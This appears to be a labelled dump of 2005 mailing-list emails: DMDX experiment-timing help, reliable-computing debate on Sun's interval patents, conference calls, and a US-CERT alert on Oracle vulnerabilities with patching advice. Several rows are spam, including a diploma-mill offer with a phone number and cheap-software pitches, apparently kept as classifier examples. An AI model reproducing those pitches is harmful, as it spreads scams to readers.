is the parameter line I have used: > >---- > 193193193> +Right Arrow> >---- > >and, an example of one trial: >----- >99 ""Please count male face(s)"" /; >1221 cross.bmp / ! 122.bmp / >cross.bmp / ; >2111 cross.bmp / ! 211.bmp / >cross.bmp / ; >1224 cross.bmp / ! 122.bmp / >cross.bmp / ; >2224 cross.bmp / ! 222.bmp / > cross.bmp / ; >1212 cross.bmp / ! 121.bmp / >cross.bmp / ; >1213 cross.bmp / ! 121.bmp / > cross.bmp / ; >1224 cross.bmp / ! 122.bmp / >cross.bmp / ; >2111 cross.bmp / ! 211.bmp / >cross.bmp / ; > +1110100 Arrow> * ""Your response !!!""; >99 ""Get ready for the next trial"" /; >---- > >I am using Acer Travel Mate 8000 which has Pentium Mobile (Centrino) 2.2 >GHz processor, 1.5 Gb RAM, ATI Mobility Radeon 9700 with 128 MB DDR RAM >(good laptop for gamers). >Didn't have any other problem running experiment on this machine until >discovered the timing issue. > >In this experiment, the duration of one tick is 16.17 ms (determined by >DMDX) and the vertical refresh rate is 60 Hz. >I have another laptop (60Hz, tick=16.680ms), where the experiment runs at >the right pace. Running the experiment on both laptops simultaneously >showed difference in the presentation time after the forth item (see the >example trial above). > >Would appreciate any idea about what could be a possible cause, and, more >importantly, how to solve the puzzle. > >All the best, >Arman > >-- >Arman Abrahamyan >Doctoral Student >School of Psychology & MARCS Auditory Laboratories >University of Western Sydney - Bankstown Campus >Locked Bag 1797 Penrith South DC NSW 1797 Australia >Phone: (+612) 9772 6660; Fax: (+612) 9772 6326 >E-mail: a.abrahamyan@uws.edu.au >WWW: >http://marcs.uws.edu.au/people/abrahamyan/ > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dickson's Gardening Rule: When weeding, the best way to make sure you are removing a weed and not a valuable plant is to pull on it. If it comes out of the ground easily, it is a valuable plant.",0,1 Keith Majoos ,DMDX@psy1.psych.arizona.edu,"Sat, 23 Apr 2005 10:10:48 +1000",[DMDX] Time Video Mode,"Help. TIMEDX (v 3.1.06) keeps displaying the following message ""failed to find 100 cycles without a missed retrace after 5000 cycles"", when I try to set the Time Video Mode. System: Pentium 4 2.66 Ghz, ATI Radeon 9000 card, 512 MB memory, monitor Philips 107 t4 Is this just one of those configurations that do not work, or am I doing something wrong. I have had DMDX working on a few computers now, except this one. regards, Keith Majoos University New England Armidale, Australia ",0,0 """Geezer U. Opuses"" ",Bait ,"Fri, 22 Apr 2005 14:47:15 -0700",Tired of being overweight? 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",DMDX@psy1.psych.arizona.edu,"Sat, 23 Apr 2005 07:58:49 -0700",[DMDX] Re: Time Video Mode,"At 10:10 AM 4/23/2005 +1000, you wrote: >Help. > >TIMEDX (v 3.1.06) keeps displaying the following message ""failed to find >100 cycles without a missed retrace after 5000 cycles"", when I try to >set the Time Video Mode. > >System: Pentium 4 2.66 Ghz, ATI Radeon 9000 card, 512 MB memory, monitor >Philips 107 t4 > >Is this just one of those configurations that do not work, or am I doing >something wrong. I have had DMDX working on a few computers now, except >this one. Some machines need to have the ""Read Between Flips to stop Cheating Drivers"" check box checked in the Refresh Rate test. In the unlikely circumstance this doesn't get it you'll have to drop the number of cycles to test in that same dialog till it can get a good sample -- but the accuracy of the refresh rate determination will be impaired and you might have to enter the refresh rate manually in the Time Video Mode tests. Tons of discussion in the TimeDX help. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A painting in a museum probably hears more foolish remarks than anything else in the world. - Edmund & Jules Goncourt ",0,0 Martin Berz ,Reliable Computing ,"Sat, 23 Apr 2005 23:22:04 -0400",Re: SUN's attempt of patenting the interval knowledge,"Hello all, > We need an official statement of SUN that they will not enforce > these patents against anyone creating or using implementations > of these ideas in a public domain or GNU licensed program. That is not sufficient. The two prime US government funding agencies do not by default allow work funded under their grants to be put in the public domain. Rather, they usually license it for free to other government agencies, academe, and other non-profit organizations, but not to entities that do not make their products freely available themselves. > Concern is not “just” among the interval folks. Surely not; for one, the patent applications also cover most of automatic differentiation. Also, of the more than 1000 licensed COSY users are not core intervallers; they only want the code to work, and don't care much what it uses inside. Those who already know about SUN's attempts overwhelmingly feel deeply concerned, and the funding agencies urged us to inform all of them. Worse yet, there is even movement to explicitly not make COSY available for SUN platforms because of these problems. I believe it is not an exaggeration to believe that to the COSY users, running the code is more important than what machine it runs on. Earlier informal estimates showed nearly 50% of them running on SUN, much to that company's credit. Now this number may be lower, but whatever it is, this alone may translate into several hundreds of lost high-end machine sales when upgrade time comes. Likely more since the really high-end systems are often shared, and if one user speaks up against a particular bidder, then that one is eliminated. As SUN is surely aware, much of its success with scientific researchers lies in a perceived no-nonsense approach, the fact that SUN is viewed as ""from researchers for researchers"", and that they are not just another IBM and Microsoft. These patent issues have the power to torpedo this trust in SUN, at least in a fraction of the scientific community in nuclear and particle physics labs - and that cannot be in the interest of anybody. Martin Berz ",0,0 """R. Baker Kearfott"" ",reliable_computing@interval.louisiana.edu,"Sun, 24 Apr 2005 10:20:32 -0500",Re: SUN's attempt of patenting the interval knowledge,"Martin and the reliable computing community, Please see my interpolated comments. Best regards, Baker At 11:22 PM 4/23/2005 -0400, Martin Berz wrote: >Hello all, > >> Concern is not ""just"" among the interval folks. > >Surely not; for one, the patent applications also cover most of automatic >differentiation. Also, of the more than 1000 licensed COSY users are not core >intervallers; they only want the code to work, and don't care much what it >uses inside. On the other hand, there is a history of users thinking that the code ""works"" while it is giving incomplete or erroneous answers, because the code used is non-validated. An example of this is the prize-winning work of Mark Stadtherr et al in pointing out errors in widely used tables listing molecular properties. Thus, ""what's under the hood"" may matter, but the users may not know it, due to lack of knowledge. In such cases, user-opinion alone should not be the determining factor for code acceptance, but the users should be further educated. >Those who already know about SUN's attempts overwhelmingly feel >deeply concerned, and the funding agencies urged us to inform all of them. >Worse yet, there is even movement to explicitly not make COSY available for >SUN platforms because of these problems. > Please explain the logic of this. Is the reason not to use Sun equipment something to do with avoiding legal problems, is it to ""boycott"" someone who does bad practices, or is there some other reason? >I believe it is not an exaggeration to believe that to the COSY users, running >the code is more important than what machine it runs on. Earlier informal >estimates showed nearly 50% of them running on SUN, much to that company's >credit. Now this number may be lower, but whatever it is, this alone may >translate into several hundreds of lost high-end machine sales when upgrade >time comes. Likely more since the really high-end systems are often shared, >and if one user speaks up against a particular bidder, then that one is >eliminated. > >As SUN is surely aware, much of its success with scientific researchers lies >in a perceived no-nonsense approach, the fact that SUN is viewed as ""from >researchers for researchers"", and that they are not just another IBM and >Microsoft. These patent issues have the power to torpedo this trust in SUN, at >least in a fraction of the scientific community in nuclear and particle >physics labs - and that cannot be in the interest of anybody. > Certainly, Sun began as a company to supply the scientific and engineering community, and continued to do so as Microsoft and Intel emerged in the popular market. My perception is that Sun has moved away from that as its primary business pursuit in recent years. The question now is ""Is there a company today whose primary mission is to supply academic and scientific interests?"" --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Sun, 24 Apr 2005 21:07:14 -0600",Symposium in Toulouse on Robust Control Design ,"A conference of potential interest to many interval computations researchers. Forwarding. Vladik ****************************************************************************** From: Didier Henrion First call for papers IFAC SYMPOSIUM ON ROBUST CONTROL DESIGN (ROCOND'06) Toulouse, France, July 5-7, 2006 www.laas.fr/rocond06 rocond06@laas.fr This IFAC Symposium on Robust Control Design is the 5th of the series, following Rio de Janeiro (1994), Budapest (1997), Prague (2000) and Milan (2003). It will take place in the ancient tobacco factory (manufacture des tabacs), in the historical center of Toulouse. SCOPE The field of robust control provides the theoretical principles and the numerical tools used to design engineering control systems that give adequate performance within an uncertain environment. Robust control theory is built on applied mathematics, operations research (optimization) and computer science (complexity and algorithm theory). Deeply rooted in rigorous mathematics, the aim of robust control is to develop theoretical and computational tools for versatile practical applications ranging from guidance and control of aerospace systems, control systems for the manufacturing industries, and control of communication systems. The symposium aims at bringing together experts from control theory (applied mathematics, convex optimization) and applied control engineering (aerospace, biotechnologies) to discuss the state-of-the-art in robust control. SPONSORS Sponsored by the IFAC Technical Committee on Robust Control Co-sponsored by the IFAC Technical Committee on Control Design Co-sponsored by the IFAC Technical Committee on Linear Systems Local sponsors: SEE and LAAS-CNRS Financial support: CNRS",0,0 Jayaraman ,txie@csulb.edu,"Mon, 25 Apr 2005 17:11:35 +0800",thank you,"Dr Xie, I am a non Chinese and have been using your conversational English program to learn Mandarin. I find it extremely easy to pick up the language at least for the last 5 lessons I have completed. Just wish to thank you and hope you continue with your good work for your students and for ordinary folks like me. I look forward to more lessons be added on to your website. Thank you. Jayaraman, from Malaysia ",0,0 Josep Vehi ,reliable_computing@interval.louisiana.edu,"Mon, 25 Apr 2005 17:24:49 +0200",Interval Session at ROCOND06 in Toulouse,"Apologies if you receive multiple copies ------------------_____________________________________ Dear colleagues, This is an invitation to participate in the special session on ""Interval methods for guaranteed parameter and state estimation"" we plan to organize in the framework of the 6th IFAC SYMPOSIUM ON ROBUST CONTROL DESIGN (ROCOND'06) to be held in Toulouse, France, July 5-7, 2006 (www.laas.fr/rocond06). If you are interested to participate in this special session, please let us know as soon as possible. Please note that the deadline for submission is September 1st, therefore full papers in the appropriate format should be sent to us before August 26th. State or parameter estimation problems are usually solved by probabilistic methods, which are relevant only when an explicit characterization of the disturbances and measurement noise is available. This, however, is not always the case in practice, and it is often more natural to assume that all perturbations, not only measurement and modelling errors but also model uncertainty, belong to a known set. In this case, guaranteed estimation, also known as bounded-error estimation, allows the characterization of the whole set of state or parameter vectors that are compatible with the measured data, a model structure and some prior error bounds. The purpose of the invited session is to show that interval analysis makes it possible to obtain such guaranteed results. Indeed, interval analysis has been used since more than a decade now, in both applied mathematics and engineering. On the one hand, it is a reliable tool for uncertainty propagation and thus is used for computing rigorous error bounds when evaluating the images of uncertain functions or when solving differential equations with interval parameters or initial values. On the other hand, when it is allied with constraint propagation techniques, contractors or branch-and-bound algorithms, interval analysis becomes a powerful tool for solving, in a guaranteed way, global optimization and constraint satisfaction problems. The aim of the invited session is to bring together researchers committed in the development and use of interval theory for guaranteed parameter and state estimation with uncertain systems and to introduce these developments to the robust control community. Papers that present new interval methods and tools for parameter and state estimation with illustrative applications are very welcome. Josep VEHI and Nacim RAMDANI vehi@eia.udg.es ramdani@uni-paris12.fr",0,0 """Vanessa J. Smith"" ",irc-list-web@skidmore.edu,"Mon, 25 Apr 2005 16:40:57 +0000",Popular soft - duty-free prices,"Get access to all the popular software you ever imagined for prices substantially lower than in stores! We sell software 2-6 times cheaper than retail price. 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Besides various highlights which are listed in the Preliminary Technical Programme we want to mention that we offer a visit to one of the oldest state authorities for metrology and verification of Germany. Take this opportunity and present your research results. Gather information about the latest solutions, exchange new ideas and engage in interdisciplinary discussions regarding Measurement Science and Measurement Education in the Internet Era. Get a glimpse of the rich cultural heritage present in Weimar and visit some of the metrology related high-technology companies in Germany, for example Carl Zeiss Jena GmbH. Symposium Topics : 1. Fundamentals of Measurement Science 2. Systems for Metrology and Measurements 3. Applications of Measurement Science and Technology Announcements: 1) Postponed Submission Deadline Since the submission deadline has been postponed we would be pleased to receive your abstract by May 6, 2005. All authors who submitted their abstracts till March 21, 2005 will receive the notification of acceptance by April 25, 2005. All other authors will be notified at the latest by May 12, 2005. 2) Registration and Up-To-Date Information Please find further information and the online registration form on the Symposium website www.imeko2005.de. This site is updated on a regular basis and provides you with up-to-date information. Please register on our website for participation in the Symposium. 3) Preliminary Technical Programme The National Organising Committee issued a Preliminary Technical Programme which is attached to this e-mail. 4) Shift of Symposium Venue The Symposium will take place September 21 - 24, 2005 in Ilmenau, Germany. For technical reasons the Symposium venue has been shifted from Weimar to Ilmenau which is only 40 km south of Weimar. The social programme contains visits to historical sites in Weimar. Please consult the preliminary technical programme for details. 5) Link to the 50th IWK The IMEKO Symposium is closely linked to the 50th International Scientific Colloquium (IWK) which takes place from September 19 - 23. All participants of the IMEKO Symposium are entitled to attend sessions of the IWK (www.iwk.tu-ilmenau.de) without additional cost. Please consult the preliminary technical programme for details. 6) Letter of Invitation The procedure for requesting a letter of invitation will be described on the website by April 26. We recommend to contact your local German consular office to determine whether a visa is required and which additional documents are mandatory. Please request an letter of invitation as soon as possible as processing of visas may take some time. 7) Accommodation Please book your accommodation early. Ilmenau offers a variety of hotels and guest houses suiting all budgets. We have been able to arrange an agreement with one of the local hotels called ""Romantik Berg- und Jagdhotel Gabelbach"". We hope to achieve that all participants can stay at the same hotel. Please book at this hotel as early as possible. The keyword for bookings is ""IMEKO"". Thus you will be offered special prices. A single room costs 65 Euro and a double room costs 95 Euro. There are taxis available in order to get from the railway station in Ilmenau to the hotel. Romantik Berg- und Jagdhotel Gabelbach Phone: +49 3677/ 8600 Fax: +49 3677/ 860222 Reservations Hotline: (+49) 3677 - 860 1669 Website: http://www.gabelbach.com/english/index-en.htm 8) Travel to Ilmenau As the opening lecture will take place at September 21 we want to ask you to arrive in Ilmenau at September 20. The nearest international airport is Frankfurt. Trains are going from Frankfurt to Erfurt. In Erfurt you will have to change for Ilmenau. Furthermore Erfurt has a small airport as well. If you are traveling by car Ilmenau is ideally situated at the motorway A71. We look forward to seeing you at the Joint International IMEKO TC1 + TC7 Symposium 2005 in Ilmenau. Yours sincerely Prof. Dr. Gerhard Linss Chairman National Organising Committee Prof. Dietrich Hofmann Honorary Chairman Dipl.-Wirtsch.-Ing. Susanne Toepfer Secretary Technische Universität Ilmenau Fakultät Maschinenbau Fachgebiet Qualitätssicherung Prof. Dr.-Ing. Gerhard Linss Postfach 10 05 65 D-98684 Ilmenau Germany Phone: +49 36 77 693822 Fax: +49 36 77 693823 Mail to: imeko2005@tu-ilmenau.de Website: www.imeko2005.de",0,1 Crowe ,"reliable_computing-outgoing@interval.louisiana.edu, elaine@interval.louisiana.edu, sonya@interval.louisiana.edu, milagros@interval.louisiana.edu, latisha@interval.louisiana.edu, cheryl@interval.louisiana.edu","Tue, 26 Apr 2005 06:54:56 -0500",diploma in 2 week,"Hi friend: Obtain a prosperous future, money earning power Get a diploma based on your experience Call now to receive diploma in 2 weeks 1-206-984-3376 (Call 24hrs, 7 days a week, we welcome applicant from all countries If you are outside USA please add country code before the number_) hsduaksvbhaj ",1,0 Arman Abrahamyan ,"'Kenneth Forster' , DMDX@psy1.psych.arizona.edu","Wed, 27 Apr 2005 19:22:52 +1000",[DMDX] RE: DMDX timing problem,"Dear Ken & Jonathan, The major cause of running DMDX faster on a laptop was incorrect recognition of the external monitor in Windows XP. Windows didn't change the monitor type from the default one (which is it's own LCD screen) to the one which was plugged externally. However, it did allow me to choose higher refresh rates. This mix-up was making TimeDX to give out vertical refresh interval in ms and other parameters inconsistently with the actual refresh rate. The solution was to manually set the type of the monitor to the external one. Once it was done, the TimeDX was able to get correct vertical refresh time and program ran as expected. I guess some people are using laptops with external monitors - thought would be useful to share the experience. In order to set type of the monitor manually, go to Display Properties-->Settings-->Advanced-->Monitor. Select the external monitor and choose the refresh rate. In my case it is ""Plug and Play Monitor"", but could be different with different monitors & different versions of Windows. Thanks for your replies - they helped to have stringent control over stimuli presentation timings. Thank you, Arman _____ From: Kenneth Forster [mailto:kforster@u.arizona.edu] Sent: Saturday, April 23, 2005 2:05 AM To: a.abrahamyan@uws.edu.au Subject: [DMDX] DMDX timing problem Arman, My suspicion is that the refresh time as indicated by TimeDX is wrong, and it's really more like 16.6 ms. We see this every now and then - TimeDX either fails to give any value at all, or it gives a stupid one. If the refresh rate is 60 Hz, then the refresh cycle can't be 16.1 ms. Downloading and installing the latest set of drivers for the graphics card usually solves the problem. --Ken Forster ",0,0 Jackie Holloway ,DMDX@psy1.psych.arizona.edu,"Wed, 27 Apr 2005 13:19:08 -0700",[DMDX] using serial port for EEG?,"Dear DMDX, we are looking to use DMDX for experiments with EEG. E-prime had been previously used in the lab for some of these experiments, but the timing seems to be an issue now. We want to try DMDX, but my concern is that in DMDX help files it says ""nor does it use serial ports (although it could)"". Serial ports have been what we have used to send triggers to E-probe, which is set to accept these triggers. How can a serial port be used to send triggers with DMDX? Would you use the command in the header line? Can we avoid buying a PIO card? Thank you for any help. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 27 Apr 2005 15:42:31 -0400",US-CERT Technical Cyber Security Alert TA05-117A -- Oracle Products Contain Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA05-117A Oracle Products Contain Multiple Vulnerabilities Original release date: April 27, 2005 Last revised: -- Source: US-CERT Systems Affected From the Oracle Critical Patch Update - April 2005: * Oracle Database 10g Release 1, versions 10.1.0.2, 10.1.0.3, 10.1.0.3.1, 10.1.0.4 (10.1.0.3.1 is supported for Oracle Application Server only) * Oracle9i Database Server Release 2, versions 9.2.0.5, 9.2.0.6 * Oracle9i Database Server Release 1, versions 9.0.1.4, 9.0.1.5, 9.0.4 (9.0.1.5 FIPS) (all of which are supported for Oracle Application Server only) * Oracle8i Database Server Release 3, version 8.1.7.4 * Oracle Application Server 10g Release 2 (10.1.2) * Oracle Application Server 10g (9.0.4), versions 9.0.4.0, 9.0.4.1 * Oracle9i Application Server Release 2, versions 9.0.2.3, 9.0.3.1 * Oracle9i Application Server Release 1, version 1.0.2.2 * Oracle Collaboration Suite Release 2, versions 9.0.4.1, 9.0.4.2 * Oracle E-Business Suite and Applications Release 11i, versions 11.5.0 through 11.5.10 * Oracle E-Business Suite and Applications Release 11.0 * Oracle Enterprise Manager Grid Control 10g, versions 10.1.0.2, 10.1.0.3 * Oracle Enterprise Manager versions 9.0.4.0, 9.0.4.1 * PeopleSoft EnterpriseOne Applications, versions 8.9 SP2 and 8.93 * PeopleSoft OneWorldXe/ERP8 Applications, versions SP22 and higher Overview Various Oracle products and components are affected by multiple vulnerabilities. The impacts of these vulnerabilities include unauthenticated, remote code execution, information disclosure, and denial of service. I. Description Oracle released a Critical Patch Update in April that addresses more than seventy vulnerabilities in different Oracle products and components. The Critical Patch Update provides information about which components are affected, what access and authorization are required, and how data confidentiality, integrity, and availability may be impacted. US-CERT strongly recommends that sites running Oracle review the Critical Patch Update, apply patches, and take other mitigating action as appropriate. Oracle HTTP Server is based on the Apache HTTP Server. According to Oracle, the Critical Patch Update addresses a number of previously disclosed Apache vulnerabilities. Oracle Database Client-only installations are not affected. US-CERT is tracking all of these issues under VU#948486. As further information becomes available, we will publish individual Vulnerability Notes. II. Impact The impacts of these vulnerabilities vary depending on product or component and configuration. Potential consequences include remote execution of arbitrary code or commands, information disclosure, and denial of service. An attacker who compromises an Oracle database may be able to gain access to sensitive information. III. Solution Apply a patch Apply the appropriate patches or upgrade as specified in the Oracle Critical Patch Update - April 2005. The update notes that some Oracle patches are cumulative while others are not: The Oracle Database Server, Enterprise Manager, and the Oracle Application Server patches for this Critical Patch Update are cumulative, and contain all the fixes from the previous Critical Patch Update. ... E-Business Suite patches are not cumulative, so E-Business Suite customers should refer to previous Critical Patch Updates to identify previous fixes they wish to apply. Oracle Collaboration Suite patches are not cumulative, so Oracle Collaboration Suite customers should refer to previous Critical Patch Updates to identify previous fixes they wish to apply. Workarounds It may be possible to mitigate some vulnerabilities by disabling or removing unnecessary components and restricting network access. Revoking PUBLIC EXECUTE privileges from vulnerable stored procedures may reduce the impact of SQL injection vulnerabilities (VU#982109). For more specific workarounds please see the individual Vulnerability Notes. Oracle Critical Patch Update - April 2005 contains a workaround for a vulnerability in PeopleSoft. Appendix A. Vendor Information Oracle Please see Oracle Critical Patch Update - April 2005 and Critical Patch Updates and Security Alerts. Appendix B. References * Critical Patch Update - April 2005 - * Critical Patch Updates and Security Alerts - * Map of Public Vulnerability to Advisory/Alert - * Comments on Oracle Critical Patch Update April 2005 - * NGSSoftware Oracle Database vulnerabilities - * US-CERT Vulnerability Note VU#948486 - * US-CERT Vulnerability Note VU#982109 - _________________________________________________________________ Thanks to Alexander Kornbrust of Red-Database-Security GmbH. Information used in this document came from Red-Database-Security and Oracle. Oracle credits NGS Software Ltd., Integrigy, and Application Security, Inc. _________________________________________________________________ Feedback can be directed to the authors: Art Manion and Jeff Gennari. Send mail to . Please include the Subject line ""TA04-315A Feedback VU#948486"". _________________________________________________________________ Copyright 2005 Carnegie Mellon University. Terms of use: _________________________________________________________________ The most recent version of this document is available at: _________________________________________________________________ Revision History April 27, 2005: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQm/pwhhoSezw4YfQAQIouwgAhowi2o6QI66xpWVcyKDckKfJSlUKMoLt vSHpL0J6vHJDGyrnllbVqcUhsYi78IPmvkOiZ0RbvgBtm9TR+zxO13CyQ6wWPoTl dItgw4BDw/f1bzLthb7+2GvCzXqsG+ICWZegEzX31ma7tO0yb1sdGEt9kwgL64ik njwJ/Bn7pG2b1EFQ1zurIOsOcINdUrThgk0BqNmGfRxRnIF7XXdEQUIC2Q0jAz4a Qxx6rttfnCJp6LmVMyqLFDItn9QyBMQTIfiOKaGNnmu7oyk8jdZq+HoORaeYqbC8 ectngIs+FPKXEACRaAKi/F932fkD2BX5dS/IF1VkYw7tWX6M2I39Dw== =5Mno -----END PGP SIGNATURE-----",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 27 Apr 2005 16:10:05 -0700",[DMDX] Re: using serial port for EEG?,"At 01:19 PM 4/27/2005 -0700, you wrote: >Dear DMDX, >we are looking to use DMDX for experiments with EEG. >E-prime had been previously used in the lab for some >of these experiments, but the timing seems to be an >issue now. We want to try DMDX, but my concern is >that in DMDX help files it says ""nor does it use >serial ports (although it could)"". Serial ports have >been what we have used to send triggers to E-probe, >which is set to accept these triggers. How can a >serial port be used to send triggers with DMDX? Would >you use the command in the header line? Can we >avoid buying a PIO card? You would have to sponsor the additions to DMDX that would allow it to send data out the serial port. With said modifications done you wouldn't have to buy a PIO card, but the modifications to DMDX are going to cost you more than a PIO card will. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dickson's Gardening Rule: When weeding, the best way to make sure you are removing a weed and not a valuable plant is to pull on it. If it comes out of the ground easily, it is a valuable plant.",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Wed, 27 Apr 2005 15:58:25 -0600","ISSAC 2005 Beijing, Final Call for Software Exhibitions ---","Forwarding. Vladik ------------- Begin Forwarded Message ------------- From: Ilias Kotsireas [Apologies for multiple copies] ------------------------------------------------------------------------------ International Symposium on Symbolic and Algebraic Computation Beijing, China, July 24-27, 2005 Final Call for Software Exhibitions ------------------------------------------------------------------------------ * Submission deadline: May 8, 2005 * See http://www.mmrc.iss.ac.cn/~issac2005/callsoft.htm for details. ------------------------------------------------------------------------------ ------------- End Forwarded Message -------------",0,1 Dirk Pattinson ,reliable_computing@interval.louisiana.edu,"Tue, 26 Apr 2005 12:36:52 +0100",Validated ODEs,"Dear all, at Imperial College, we are at the moment in the process of building a tool for validated integration of ODEs, where the vector field that defines the equation is not smooth (but still Lipschitz). Examples of such equations occur e.g. in control theory. Our hope is to improve on existing techniques by using generalised gradients. Of course, we are very interested in other packages / tools to compare our approach to. I'd be very grateful for any references to methods, and in particular to implemented package, that handle validated ODE integration for non-smooth vector fields. Best, Dirk. ",0,0 Nathalie Bélanger ,DMDX@psy1.psych.arizona.edu,"Thu, 28 Apr 2005 12:02:43 -0400",[DMDX] 1024 x 768 resolution at 160 Hz ,"Hello! I wish to run a masked priming experiment with DMDX. My prime durations are extremely brief (14, 24 and 34 ms) and it was recommended to me that I set my screen refresh rate very high to avoid much variability in the presentation of my primes. I also need this resolution because I will be running an eye-tracking study with the same stimuli and prime durations. I need both experimentations to be compatible. I have a couple of interrogations: (1) The video mode in DMDX can be set at 85 Hz maximum and I am wondering what setting I should use since my monitor is set at 160hz. I have already tried the help files and I have read a thread on this in the mailinig list but I didn't really understand. I am very new at dealing with hardware and timing issues. If someone could provide me info in laymen terms, I would appreciate. I have updated the pilots of my monitor (ViewSonic P95f+) and of my graphic card (Radeon 7500). (2) Also, when I run the millisecond timer test in the basic tests section, it gives me a value of -0.00 ms for the refresh rate! Somehow, I think that is now quite what it should be. Thank you, Nathalie ****************************** Nathalie Bélanger Ph.D. Student McGill University School of Communication Sciences and Disorders 1266 Pine Avenue West Montreal, Quebec H3G 1A8 Phone: 514-398-6895 Fax: 514-398-8123 ",0,0 Alain Moussiaux ,Dirk Pattinson ,"Thu, 28 Apr 2005 16:22:12 +0200",Re: Validated ODEs,"%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Bonjour,Hi, For solving ode and pde you may go to http://convode.pysique.fundp.ac.be but I do not know if it is what you are looking for. Amites, Alain Moussiaux %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% On Tue, 2005-04-26 at 13:36, Dirk Pattinson wrote: > Dear all, > > at Imperial College, we are at the moment in the process of building > a tool for validated integration of ODEs, where the vector field > that defines the equation is not smooth (but still Lipschitz). > Examples of such equations occur e.g. in control theory. Our hope is > to improve on existing techniques by using generalised gradients. > > Of course, we are very interested in other packages / tools to > compare our approach to. > > I'd be very grateful for any references to methods, and in particular > to implemented package, that handle validated ODE integration for > non-smooth vector fields. > > Best, > > Dirk. > ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 28 Apr 2005 10:26:09 -0700",[DMDX] Re: 1024 x 768 resolution at 160 Hz ,"At 12:02 PM 4/28/2005 -0400, you wrote: >Hello! > >I wish to run a masked priming experiment with DMDX. My prime durations >are extremely brief (14, 24 and 34 ms) and it was recommended to me that I >set my screen refresh rate very high to avoid much variability in the >presentation of my primes. I also need this resolution because I will be >running an eye-tracking study with the same stimuli and prime durations. I >need both experimentations to be compatible. I have a couple of interrogations: > >(1) The video mode in DMDX can be set at 85 Hz maximum and I am wondering >what setting I should use since my monitor is set at 160hz. Your monitor might be capable of running at 160Hz but it isn't set at 160Hz, it will run at any speed up to 160Hz. DMDX simply reflects what the operating system says the display can handle, if it's not what you want you can try new video drivers and if that doesn't work you'll probably have to get a new video card. >I have already tried the help files and I have read a thread on this in >the mailinig list but I didn't really understand. I am very new at dealing >with hardware and timing issues. If someone could provide me info in >laymen terms, I would appreciate. I have updated the pilots of my monitor >(ViewSonic P95f+) and of my graphic card (Radeon 7500). My guess based on my experience with Radeon 7500 is that it isn't capable of providing a display at 160Hz. >(2) Also, when I run the millisecond timer test in the basic tests >section, it gives me a value of -0.00 ms for the refresh rate! Somehow, I >think that is now quite what it should be. You can try checking the ""Read Between Flips to stop Cheating Video Drivers"". If that doesn't get it it sounds like you're a prime candidate for new video drivers from ati.com. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dickson's Gardening Rule: When weeding, the best way to make sure you are removing a weed and not a valuable plant is to pull on it. If it comes out of the ground easily, it is a valuable plant. ",0,0 Bria Ramsdell ,DMDX@psy1.psych.arizona.edu,"Thu, 28 Apr 2005 19:36:48 -0500",Whats Hot,", recherche and daly on alamo or fall but wooster ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 29 Apr 2005 08:16:36 -0700",[DMDX] monitor refresh rates," Another thing about monitor refresh rates is that there's a check box on some machines (maybe all) that tells the machine to hide the video modes that it thinks the monitor can't handle. While this is fine and dandy if the machine really recognizes the monitor a lot of the time XP recognizes monitors as Plug and Play Monitor, which means it doesn't recognize it at all. Either install the software that came with the monitor or uncheck that check box and perhaps new faster video modes will become available to DMDX. It's usually in the Control Panel / Display / Settings / Advanced / Monitor tab. If it's not there it's possible you need to get better video drivers for the video card. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Kids have *never* taken guidance from their parents. If you could travel back in time and observe the original primate family in the original tree, you would see the primate parents yelling at the primate teenager for sitting around and sulking all day instead of hunting for grubs and berries like dad primate. Then you'd see the primate teenager stomp up to his branch and slam the leaves. - Dave Barry, ""Kids Today: They Don't Know Dum Diddly Do"" ",0,0 Ray Moore ,"Dirk Pattinson , reliable_computing@interval.louisiana.edu","Fri, 29 Apr 2005 09:44:13 -0400",Re: Validated ODEs,"Dirk, I am not aware of any existing software for validated ODE integration for non-smooth vector fields. I would ask Martin Berz berz@msu.edu if his COSY software has a way to do that. Good luck with your work. It sounds interesting and important. Ray Moore ----- Original Message ----- From: ""Dirk Pattinson"" To: Cc: ; Sent: Tuesday, April 26, 2005 7:36 AM Subject: Validated ODEs > Dear all, > > at Imperial College, we are at the moment in the process of building > a tool for validated integration of ODEs, where the vector field > that defines the equation is not smooth (but still Lipschitz). > Examples of such equations occur e.g. in control theory. Our hope is > to improve on existing techniques by using generalised gradients. > > Of course, we are very interested in other packages / tools to > compare our approach to. > > I'd be very grateful for any references to methods, and in particular > to implemented package, that handle validated ODE integration for > non-smooth vector fields. > > Best, > > Dirk. >",0,0 Vladik Kreinovich ,reliable_computing@interval.louisiana.edu,"Fri, 29 Apr 2005 08:09:43 -0600",Hans Stetter's 75th Birthday -- COSCOMP'05 -- 2nd call,"forwarding, apologiex for multiple copies ------------- Begin Forwarded Message ------------- From: ""Winfried Auzinger"" Dear colleague, We are again delighted to kindly invite you to participate in the conference on scientific computing - COSCOMP 2005 - held in honor of Hans Stetter's 